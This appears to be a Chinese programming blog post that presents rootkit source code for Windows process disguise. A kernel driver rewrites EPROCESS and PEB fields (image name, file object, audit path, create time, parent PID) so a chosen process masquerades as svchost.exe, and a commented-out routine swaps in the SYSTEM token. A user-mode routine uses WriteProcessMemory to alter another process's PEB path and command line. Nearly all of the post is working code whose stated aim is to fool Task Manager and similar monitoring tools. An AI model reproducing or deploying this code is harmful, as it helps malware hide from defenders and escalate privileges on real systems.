C/C++ Rootkit 实现进程伪装

C/C++
422
0
0
2023-02-16

欺骗任务管理器等行为工具,隐藏进程的另一种方法。原理是修改 EPROCESS 中的成员。如下分别提供驱动层伪装与应用层伪装的实现代码。

驱动层进程伪装

以下代码来自:https://github.com/zhuhuibeishadiao/PathModification

PathModification.h

#ifndef _PATH_MODIFICATION_H_
#define _PATH_MODIFICATION_H_ 1
//NTSTATUS PsGetTarProcessInfo(HANDLE pid);
//
//BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName);
//
//BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName);
//
//BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName);
//
//BOOLEAN PathImageFileName(PEPROCESS Process, char* cName);
//
//BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName);

BOOLEAN PathModification(HANDLE pid);
#endif

PathModification.c

#include "pch.h"

#pragma warning(disable: 4214)
#pragma warning(disable: 4057)
#pragma warning(disable: 4201)
#pragma warning(disable: 4267)

typedef struct _LDR_DATA_TABLE_ENTRY                         // 24 elements, 0xE0 bytes (sizeof) 
{
    /*0x000*/     struct _LIST_ENTRY InLoadOrderLinks;                     // 2 elements, 0x10 bytes (sizeof)  
    /*0x010*/     struct _LIST_ENTRY InMemoryOrderLinks;                   // 2 elements, 0x10 bytes (sizeof)  
    /*0x020*/     struct _LIST_ENTRY InInitializationOrderLinks;           // 2 elements, 0x10 bytes (sizeof)  
    /*0x030*/     VOID*        DllBase;
    /*0x038*/     VOID*        EntryPoint;
    /*0x040*/     ULONG32      SizeOfImage;
    /*0x044*/     UINT8        _PADDING0_[0x4];
    /*0x048*/     struct _UNICODE_STRING FullDllName;                      // 3 elements, 0x10 bytes (sizeof)  
    /*0x058*/     struct _UNICODE_STRING BaseDllName;                      // 3 elements, 0x10 bytes (sizeof)  
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct _CURDIR              // 2 elements, 0x18 bytes (sizeof) 
{
    /*0x000*/     struct _UNICODE_STRING DosPath; // 3 elements, 0x10 bytes (sizeof) 
    /*0x010*/     VOID*        Handle;
}CURDIR, *PCURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS                // 30 elements, 0x400 bytes (sizeof) 
{
    /*0x000*/     ULONG32      MaximumLength;
    /*0x004*/     ULONG32      Length;
    /*0x008*/     ULONG32      Flags;
    /*0x00C*/     ULONG32      DebugFlags;
    /*0x010*/     VOID*        ConsoleHandle;
    /*0x018*/     ULONG32      ConsoleFlags;
    /*0x01C*/     UINT8        _PADDING0_[0x4];
    /*0x020*/     VOID*        StandardInput;
    /*0x028*/     VOID*        StandardOutput;
    /*0x030*/     VOID*        StandardError;
    /*0x038*/     struct _CURDIR CurrentDirectory;                       // 2 elements, 0x18 bytes (sizeof)   
    /*0x050*/     struct _UNICODE_STRING DllPath;                        // 3 elements, 0x10 bytes (sizeof)   
    /*0x060*/     struct _UNICODE_STRING ImagePathName;                  // 3 elements, 0x10 bytes (sizeof)   
    /*0x070*/     struct _UNICODE_STRING CommandLine;                    // 3 elements, 0x10 bytes (sizeof)   
    /*0x080*/     VOID*        Environment;
    /*0x088*/     ULONG32      StartingX;
    /*0x08C*/     ULONG32      StartingY;
    /*0x090*/     ULONG32      CountX;
    /*0x094*/     ULONG32      CountY;
    /*0x098*/     ULONG32      CountCharsX;
    /*0x09C*/     ULONG32      CountCharsY;
    /*0x0A0*/     ULONG32      FillAttribute;
    /*0x0A4*/     ULONG32      WindowFlags;
    /*0x0A8*/     ULONG32      ShowWindowFlags;
    /*0x0AC*/     UINT8        _PADDING1_[0x4];
    /*0x0B0*/     struct _UNICODE_STRING WindowTitle;                    // 3 elements, 0x10 bytes (sizeof)   
    /*0x0C0*/     struct _UNICODE_STRING DesktopInfo;                    // 3 elements, 0x10 bytes (sizeof)   
    /*0x0D0*/     struct _UNICODE_STRING ShellInfo;                      // 3 elements, 0x10 bytes (sizeof)   
    /*0x0E0*/     struct _UNICODE_STRING RuntimeData;                    // 3 elements, 0x10 bytes (sizeof)   
}RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;


typedef struct _PEB_LDR_DATA                            // 9 elements, 0x58 bytes (sizeof) 
{
    /*0x000*/     ULONG32      Length;
    /*0x004*/     UINT8        Initialized;
    /*0x005*/     UINT8        _PADDING0_[0x3];
    /*0x008*/     VOID*        SsHandle;
    /*0x010*/     struct _LIST_ENTRY InLoadOrderModuleList;           // 2 elements, 0x10 bytes (sizeof) 
    /*0x020*/     struct _LIST_ENTRY InMemoryOrderModuleList;         // 2 elements, 0x10 bytes (sizeof) 
    /*0x030*/     struct _LIST_ENTRY InInitializationOrderModuleList; // 2 elements, 0x10 bytes (sizeof) 
    /*0x040*/     VOID*        EntryInProgress;
    /*0x048*/     UINT8        ShutdownInProgress;
    /*0x049*/     UINT8        _PADDING1_[0x7];
    /*0x050*/     VOID*        ShutdownThreadId;
}PEB_LDR_DATA, *PPEB_LDR_DATA;


typedef struct _PEB                                                                               // 91 elements, 0x380 bytes (sizeof) 
{
    /*0x000*/     UINT8        InheritedAddressSpace;
    /*0x001*/     UINT8        ReadImageFileExecOptions;
    /*0x002*/     UINT8        BeingDebugged;
    union                                                                                         // 2 elements, 0x1 bytes (sizeof)    
    {
        /*0x003*/         UINT8        BitField;
        struct                                                                                    // 6 elements, 0x1 bytes (sizeof)    
        {
            /*0x003*/             UINT8        ImageUsesLargePages : 1;                                                 // 0 BitPosition                     
            /*0x003*/             UINT8        IsProtectedProcess : 1;                                                  // 1 BitPosition                     
            /*0x003*/             UINT8        IsLegacyProcess : 1;                                                     // 2 BitPosition                     
            /*0x003*/             UINT8        IsImageDynamicallyRelocated : 1;                                         // 3 BitPosition                     
            /*0x003*/             UINT8        SkipPatchingUser32Forwarders : 1;                                        // 4 BitPosition                     
            /*0x003*/             UINT8        SpareBits : 3;                                                           // 5 BitPosition                     
        };
    };
    /*0x008*/     VOID*        Mutant;
    /*0x010*/     VOID*        ImageBaseAddress;
    /*0x018*/     struct _PEB_LDR_DATA* Ldr;
    /*0x020*/     struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
}PEB, *PPEB;

/*
+0x2e0 ImageFileName    : [15]  "explorer.exe"
0: kd> dt _SE_AUDIT_PROCESS_CREATION_INFO fffffa80037a7b30+0x390
nt!_SE_AUDIT_PROCESS_CREATION_INFO
+0x000 ImageFileName    : 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
0: kd> dt 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
nt!_OBJECT_NAME_INFORMATION
+0x000 Name             : _UNICODE_STRING "\Device\HarddiskVolume1\Windows\explorer.exe"
PEB ProcessParameters
+0x060 ImagePathName    : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x070 CommandLine      : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x080 Environment      : 0x00000000`02932eb0 Void
+0x088 StartingX        : 0
+0x08c StartingY        : 0
+0x090 CountX           : 0
+0x094 CountY           : 0
+0x098 CountCharsX      : 0
+0x09c CountCharsY      : 1
+0x0a0 FillAttribute    : 0x175
+0x0a4 WindowFlags      : 1
+0x0a8 ShowWindowFlags  : 1
+0x0b0 WindowTitle      : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x0c0 DesktopInfo      : _UNICODE_STRING "Winsta0\Default"
+0x0d0 ShellInfo        : _UNICODE_STRING "C:\Windows\Explorer.EXE"
InLoadOrderModuleList InMemoryOrderLinks是同一片内存区域(前者+0x10就是后者 只需要改一个地方就行 最好前者)
*/

WCHAR* g_szTarSeAuditProcessName = NULL;
WCHAR* g_szTarPebFullName = NULL;
WCHAR* g_szTarPebBaseName = NULL;
WCHAR* g_szTarFileObjectName = NULL;
WCHAR* g_szTarPebCurrentDir = NULL;
WCHAR* g_szTarWin10ImageFilePointerName = NULL; //offset 0x448
LARGE_INTEGER g_TarCreateTime = { 0 };
ULONG_PTR g_TarInheritedFromUniqueProcessId = 0;

// 获取被伪装的进程的一些信息
NTSTATUS PsGetTarProcessInfo(HANDLE pid)
{
    // SE_AUDIT_PROCESS_CREATION_INFO
    // PEB ProcessParameters
    // PEB Ldr
    PPEB peb = NULL;
    PLDR_DATA_TABLE_ENTRY ldr = NULL;
    PEPROCESS Process = NULL;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    PUNICODE_STRING SeAuditName = NULL;
    PUNICODE_STRING SelocateName = NULL;
    PFILE_OBJECT pFileObject = NULL;

    status = PsLookupProcessByProcessId(pid, &Process);

    if (!NT_SUCCESS(status))
        return status;

    g_TarCreateTime.QuadPart = PsGetProcessCreateTimeQuadPart(Process);
    g_TarInheritedFromUniqueProcessId = PsGetProcessInheritedFromUniqueProcessId(Process);

    if (*NtBuildNumber > 9600)
    {
        g_szTarWin10ImageFilePointerName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
        if (g_szTarWin10ImageFilePointerName == NULL)
            return STATUS_NO_MEMORY;

        RtlZeroMemory(g_szTarWin10ImageFilePointerName, KMAX_PATH * 2);
    }

    if (g_szTarPebBaseName == NULL)
        g_szTarPebBaseName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);

    if (g_szTarPebFullName == NULL)
        g_szTarPebFullName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);

    if (g_szTarSeAuditProcessName == NULL)
        g_szTarSeAuditProcessName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if(g_szTarFileObjectName == NULL)
        g_szTarFileObjectName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if (g_szTarPebCurrentDir == NULL)
        g_szTarPebCurrentDir = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if (g_szTarPebBaseName && g_szTarPebFullName && g_szTarSeAuditProcessName && g_szTarFileObjectName && g_szTarPebCurrentDir)
    {
        RtlZeroMemory(g_szTarPebBaseName, MAX_PATH * 2);
        RtlZeroMemory(g_szTarPebFullName, MAX_PATH * 2);
        RtlZeroMemory(g_szTarSeAuditProcessName, KMAX_PATH * 2);
        RtlZeroMemory(g_szTarFileObjectName, KMAX_PATH * 2);
        RtlZeroMemory(g_szTarPebCurrentDir, KMAX_PATH * 2);

        if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
            return STATUS_UNSUCCESSFUL;

        ExFreePool(SelocateName);

        if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
            return STATUS_UNSUCCESSFUL;

        RtlCopyMemory(g_szTarFileObjectName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);

        ObDereferenceObject(pFileObject);

        if (*NtBuildNumber > 9600)
        {
            pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer 
            if (!MmIsAddressValid(pFileObject))
            {
                ObDereferenceObject(Process);
                return STATUS_UNSUCCESSFUL;
            }

            RtlCopyMemory(g_szTarWin10ImageFilePointerName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);
        }

        if(*NtBuildNumber < 9600)
            SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390)); // win7 offset 
        else
            SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468)); // win10 offset 14393 15063 16299

        if (!MmIsAddressValid(SeAuditName))
        {
            ObDereferenceObject(Process);
            return STATUS_UNSUCCESSFUL;
        }

        RtlCopyMemory(g_szTarSeAuditProcessName, SeAuditName->Buffer, SeAuditName->Length);

        peb = PsGetProcessPeb(Process);

        KeAttachProcess(Process);

        __try {
            RtlCopyMemory(g_szTarPebFullName, peb->ProcessParameters->ImagePathName.Buffer, peb->ProcessParameters->ImagePathName.Length);
            ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
            RtlCopyMemory(g_szTarPebBaseName, ldr->BaseDllName.Buffer, ldr->BaseDllName.Length);
            RtlCopyMemory(g_szTarPebCurrentDir, peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, peb->ProcessParameters->CurrentDirectory.DosPath.Length);
            status = STATUS_SUCCESS;
        }
        __except (1)
        {
        }

        KeDetachProcess();

    }
    else
    {
        status = STATUS_NO_MEMORY;
    }

    ObDereferenceObject(Process);

    return status;
}

BOOLEAN PathWin10ImageNamePoint(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    PFILE_OBJECT pFileObject = NULL;
    WCHAR* szNewFullName = NULL;

    if (szFullName == NULL || Process == NULL)
        return FALSE;

    szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    if (szNewFullName == NULL)
        return FALSE;

    RtlZeroMemory(szNewFullName, KMAX_PATH * 2);

    pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer 

    if (!MmIsAddressValid(pFileObject))
    {
        ExFreePool(szNewFullName);
        return FALSE;
    }

    if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
    {
        RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
        RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        ExFreePool(szNewFullName);
        bRet = TRUE;
    }
    else
    {
        RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Buffer = szNewFullName;
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
        bRet = TRUE;
    }

    return bRet;
}

BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    PFILE_OBJECT pFileObject = NULL;
    WCHAR* szNewFullName = NULL;

    if (szFullName == NULL || Process == NULL)
        return FALSE;

    szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    if (szNewFullName == NULL)
        return FALSE;

    RtlZeroMemory(szNewFullName, KMAX_PATH * 2);

    if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
        return FALSE;

    if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
    {
        RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
        RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        ExFreePool(szNewFullName);
        bRet = TRUE;
    }
    else
    {
        RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Buffer = szNewFullName;
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
        bRet = TRUE;
    }

    ObDereferenceObject(pFileObject);
    return bRet;
}

BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName)
{
    PPEB peb = NULL;
    BOOLEAN bRet = FALSE;
    BOOLEAN bAttach = FALSE;
    PLDR_DATA_TABLE_ENTRY ldr = NULL;
    if (Process == NULL || szFullName == NULL || szBaseName == NULL)
        return FALSE;

    do
    {
        peb = PsGetProcessPeb(Process);

        if (peb == NULL)
            break;

        KeAttachProcess(Process);
        bAttach = TRUE;

        __try {
            ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;

            if (!MmIsAddressValid(ldr))
                break;

            if (ldr->FullDllName.Length < wcslen(szFullName) * 2)
                break;

            if (ldr->BaseDllName.Length < wcslen(szBaseName) * 2)
                break;

            RtlZeroMemory(ldr->FullDllName.Buffer, ldr->FullDllName.MaximumLength);
            RtlCopyMemory(ldr->FullDllName.Buffer, szFullName, wcslen(szFullName) * 2);

            RtlZeroMemory(ldr->BaseDllName.Buffer, ldr->BaseDllName.MaximumLength);
            RtlCopyMemory(ldr->BaseDllName.Buffer, szBaseName, wcslen(szBaseName) * 2);
            bRet = TRUE;
        }
        __except (1)
        {
        }

    } while (FALSE);

    if (bAttach)
        KeDetachProcess();

    return bRet;
}

BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    BOOLEAN bAttach = FALSE;
    PPEB Peb = NULL;

    if (Process == NULL || szFullName == NULL)
        return FALSE;

    do
    {
        Peb = PsGetProcessPeb(Process);

        if (Peb == NULL)
            break;

        KeAttachProcess(Process);
        bAttach = TRUE;

        __try {
            if (Peb->ProcessParameters->ImagePathName.Length < wcslen(szFullName) * 2)
                break;

            RtlZeroMemory(Peb->ProcessParameters->ImagePathName.Buffer, Peb->ProcessParameters->ImagePathName.MaximumLength);
            RtlCopyMemory(Peb->ProcessParameters->ImagePathName.Buffer, szFullName, wcslen(szFullName) * 2);

            RtlZeroMemory(Peb->ProcessParameters->CommandLine.Buffer, Peb->ProcessParameters->CommandLine.MaximumLength);
            RtlCopyMemory(Peb->ProcessParameters->CommandLine.Buffer, szFullName, wcslen(szFullName) * 2);

            if (Peb->ProcessParameters->WindowTitle.Length >= wcslen(szFullName) * 2)
            {
                RtlZeroMemory(Peb->ProcessParameters->WindowTitle.Buffer, Peb->ProcessParameters->WindowTitle.MaximumLength);
                RtlCopyMemory(Peb->ProcessParameters->WindowTitle.Buffer, szFullName, wcslen(szFullName) * 2);
            }

            if (Peb->ProcessParameters->ShellInfo.Length >= wcslen(szFullName) * 2)
            {
                RtlZeroMemory(Peb->ProcessParameters->ShellInfo.Buffer, Peb->ProcessParameters->ShellInfo.MaximumLength);
                RtlCopyMemory(Peb->ProcessParameters->ShellInfo.Buffer, szFullName, wcslen(szFullName) * 2);
            }

            if (Peb->ProcessParameters->CurrentDirectory.DosPath.Length >= wcslen(g_szTarPebCurrentDir) * 2)
            {
                RtlZeroMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, Peb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
                RtlCopyMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, g_szTarPebCurrentDir, wcslen(g_szTarPebCurrentDir) * 2);
            }
            bRet = TRUE;
        }
        __except (1)
        {

        }

    } while (FALSE);

    if(bAttach)
        KeDetachProcess();

    return bRet;
}

// 这里的ProcessName 为全路径 \Device\HarddiskVolume1\Windows\explorer.exe 这里使用GetTarProcessInfo去获取即可
BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName)
{
    PUNICODE_STRING Name = NULL;
    PUNICODE_STRING SelocateName = NULL;

    if (Process == NULL || ProcessName == NULL)
        return FALSE;

    if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
        return FALSE;

    ExFreePool(SelocateName);

    if(*NtBuildNumber < 9600)
        Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390));
    else
        Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468));

    if (!MmIsAddressValid(Name))
        return FALSE;

    if ((wcslen(ProcessName) * 2) > Name->Length)
    {
        return FALSE;
    }

    RtlZeroMemory(Name->Buffer, Name->MaximumLength);
    RtlCopyMemory(Name->Buffer, ProcessName, wcslen(ProcessName) * 2);
    Name->Length = wcslen(ProcessName) * 2;
    return TRUE;
}

// cName15字节的大小 分配内存时注意要大于15
BOOLEAN PathImageFileName(PEPROCESS Process, char* cName)
{
    char    szNameBuff[15] = { 0 };
    char*   szProcessBuff = NULL;
    size_t  cNamelen = 0;

    if (Process == NULL || cName == NULL)
        return FALSE;

    cNamelen = strlen(cName);

    RtlZeroMemory(szNameBuff, sizeof(szNameBuff));
    if(cNamelen > 15)
        RtlCopyMemory(szNameBuff, cName, sizeof(szNameBuff));
    else
        RtlCopyMemory(szNameBuff, cName, cNamelen);
    szProcessBuff = PsGetProcessImageFileName(Process);
    RtlZeroMemory(szProcessBuff, sizeof(szNameBuff));
    RtlCopyMemory(szProcessBuff, szNameBuff, sizeof(szNameBuff));

    return TRUE;
}

PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
{
    //
    // To get an address of a token from the Token field in EPROCESS, the lowest
    // N bits where N is size of a RefCnt field needs to be masked.
    //
    // kd> dt nt!_EX_FAST_REF
    //   + 0x000 Object : Ptr64 Void
    //   + 0x000 RefCnt : Pos 0, 4 Bits
    //   + 0x000 Value  : Uint8B
    //
    ULONG_PTR Value = *(ULONG_PTR*)(Address);
    return (PACCESS_TOKEN)(Value & ((ULONG_PTR)(~0xf)));
}

BOOLEAN PathToken(PEPROCESS Process)
{
    PACCESS_TOKEN CurrentToken = NULL;
    PACCESS_TOKEN SystemToken = NULL;
    BOOLEAN bRet = FALSE;
    CurrentToken = PsReferencePrimaryToken(Process);
    SystemToken = PsReferencePrimaryToken(PsInitialSystemProcess);

    for (auto Offset = 0ul; Offset < sizeof(void *) * 0x80;
        Offset += sizeof(void *))
    {
        // Is this address stores token?
        ULONG_PTR TestAddress = (ULONG_PTR)Process + Offset;
        PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
        if (ProbableToken == CurrentToken)
        {
            // Found the field, replace the contents with the SYSTEM token
            PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
            *TokenAddress = SystemToken;
            bRet = TRUE;
            break;
        }
    }
    //ULONG_PTR TestAddress = (ULONG_PTR)Process + 0x358;
    //PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
    //if (ProbableToken == CurrentToken)
    //{
    //    // Found the field, replace the contents with the SYSTEM token
    //    PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
    //    *TokenAddress = SystemToken;
    //    bRet = TRUE;
    //}

    PsDereferencePrimaryToken(CurrentToken);
    PsDereferencePrimaryToken(SystemToken);
    return bRet;
}

BOOLEAN PathCreateTime(PEPROCESS Process)
{
    ULONG offset = 0;
    offset = *(PULONG)((ULONG_PTR)PsGetProcessCreateTimeQuadPart + 3);
    if (offset)
    {
        *(LARGE_INTEGER*)((ULONG_PTR)Process + offset) = g_TarCreateTime;
        return TRUE;
    }
    return FALSE;
}

BOOLEAN PathInheritedFromUniqueProcessId(PEPROCESS Process)
{
    ULONG offset = 0;
    offset = *(PULONG)((ULONG_PTR)PsGetProcessInheritedFromUniqueProcessId + 3);
    if (offset)
    {
        *(ULONG_PTR*)((ULONG_PTR)Process + offset) = g_TarInheritedFromUniqueProcessId;
        return TRUE;
    }
    return FALSE;
}

BOOLEAN PathModification(HANDLE pid)
{
    HANDLE SvchostPid = NULL;
    PEPROCESS Process = NULL;
    //DbgBreakPoint();

    // 不支持x86进程
    if (!PsIs64BitProcess(pid))
        return FALSE;

    SvchostPid = (HANDLE)PsGetProcesIdBitByName("svchost.exe", TRUE);

    if (SvchostPid == NULL)
        return FALSE;

    if (!NT_SUCCESS(PsGetTarProcessInfo(SvchostPid)))
        return FALSE;

    if (!NT_SUCCESS(PsLookupProcessByProcessId(pid, &Process)))
        return FALSE;

    PathSeFileObject(Process, g_szTarFileObjectName);

    if (*NtBuildNumber > 9600)
        PathWin10ImageNamePoint(Process, g_szTarWin10ImageFilePointerName);

    PathImageFileName(Process, "svchost.exe");

    PathSeAuditProcessCreationInfo(Process, g_szTarSeAuditProcessName);

    PathPebProcessParameters(Process, g_szTarPebFullName);

    PathPebLdr(Process, g_szTarPebFullName, g_szTarPebBaseName);

    //PathToken(Process);

    PathCreateTime(Process);

    PathInheritedFromUniqueProcessId(Process);

    ObDereferenceObject(Process);
    return TRUE;
}

应用层进程伪装

//************************************
    // 函数名:CHideDlg::DisguiseProcess
    // 返回类型:BOOL
    // 功能:    修改指定PEB中的路径和命令行信息, 实现进程伪装
    // 参数1:DWORD dwProcessId 需要伪装的程序的PID
    // 参数2:wchar_t *lpwszPath 伪装之后程序的路径
    //************************************
BOOL CHideDlg::DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath)
{
    // 打开进程获取句柄
    HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        MessageBox(_T("打开进程失败!"));
        return FALSE;
    }

    //定义函数指针变量
    typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PEB peb = { 0 };
    RTL_USER_PROCESS_PARAMETERS Param = { 0 };
    USHORT usCmdLen = 0;
    USHORT usPathLen = 0;

    // 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
    NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
        ::LoadLibrary(_T("ntdll.dll")), "NtQueryInformationProcess");
    if (NULL == NtQueryInformationProcess)
    {
        MessageBox(_T("获取NtQueryInformationProcess函数地址失败!"));
        return FALSE;
    }

    // 获取指定进程的基本信息
    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    if (!NT_SUCCESS(status))
    {
        MessageBox(_T("获取进程的基本信息失败!"));
        return FALSE;
    }

    // 获取指定进程基本信息结构中的PebBaseAddress
    //::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    // 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间
    //::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

    // 修改指定PEB中的路径信息, 注意指针指向的是指定进程空间
    usPathLen = 2 + 2 * ::wcslen(lpwszPath);
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, &lpwszPath, sizeof(PWSTR), NULL);
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.MaximumLength, &usPathLen, sizeof(usPathLen), NULL);

    // 修改指定PEB中的命令行信息, 注意指针指向的是指定进程空间
    //usCmdLen = 2 + 2 * ::wcslen(lpwszPath);    
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->CommandLine.Buffer, &lpwszPath,sizeof(PWSTR), NULL);
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->CommandLine.Length, &usPathLen, sizeof(usPathLen), NULL);


    return TRUE;
}